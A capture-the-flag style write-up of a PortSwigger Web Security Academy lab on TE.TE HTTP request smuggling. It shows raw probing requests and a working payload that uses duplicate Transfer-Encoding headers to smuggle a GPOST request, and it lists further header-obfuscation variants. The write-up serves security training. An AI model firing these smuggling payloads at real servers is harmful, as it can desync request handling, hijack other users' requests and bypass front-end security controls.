Skip to content
Field Details
Platform PortSwigger Web Security Academy
Type HTTP Request Smuggling — TE.TE
Difficulty Practitioner
Objective Cause the back-end to process a request with the method GPOST using duplicate TE headers
Note Switch Burp Repeater to HTTP/1 manually. Disable "Update Content-Length."

HTTP Request Smuggling — Obfuscating the TE Header

Intercepting a root request, switching to POST and HTTP/1.1, cleaning up headers. Both front-end and back-end support Transfer-Encoding: chunked — TE.TE configuration, not CL.TE or TE.CL.

Testing a valid chunked body first:

POST / HTTP/1.1
Host: 0a7c00d80454256a81c85c4a00040071.web-security-academy.net
Content-Length: 12
Transfer-Encoding: chunked

4
teto
0

200 OK. Replacing the 0 terminator with an invalid chunk size (miku) — 400 Bad Request. The front-end is parsing chunked encoding and rejected the invalid terminator.

Screenshot

Inflating Content-Length to 20 — more than what the chunked body provides:

Screenshot

200 OK — the back-end also terminates at the 0 chunk rather than waiting for more bytes. Both servers process TE, so standard CL.TE or TE.CL won't create a desync. Trying the standard TE.CL payload anyway to confirm:

POST / HTTP/1.1
Host: 0a7c00d80454256a81c85c4a00040071.web-security-academy.net
Content-Length: 4
Transfer-Encoding: chunked

35
GPOST /miku HTTP/1.1
Content-Length: 20

teto=teto
0
Screenshot

Always 200 OK — the back-end processes Transfer-Encoding just fine and Content-Length: 4 gets ignored. No desync.

The attack vector in TE.TE is to make one of the servers ignore Transfer-Encoding by obfuscating it. Sending two Transfer-Encoding headers — one valid, one with an invalid value:

POST / HTTP/1.1
Host: 0a7c00d80454256a81c85c4a00040071.web-security-academy.net
Content-Length: 4
Transfer-Encoding: chunked
Transfer-Encoding: teto

35
GPOST /miku HTTP/1.1
Content-Length: 20

teto=teto
0
Screenshot

Unrecognized method GPOST as the response, this will solve the lab ;p

What happened is: the front-end sees two Transfer-Encoding headers, takes the last one (teto), finds it invalid, and falls back to Content-Length — reads 4 bytes and forwards everything to the back-end.

The back-end, with a different duplicate-header policy, takes the first Transfer-Encoding: chunked and ignores the invalid second one — processes the chunked body, terminates at 0, and leaves GPOST /miku... in the buffer. The next real request collides with it.

Duplicate headers are one obfuscation vector, but there are others — spacing (Transfer-Encoding : chunked), invalid values (Transfer-Encoding: xchunked), tab-delimited values, injected newlines. The goal is always the same: get one server to ignore TE while the other uses it.

Resources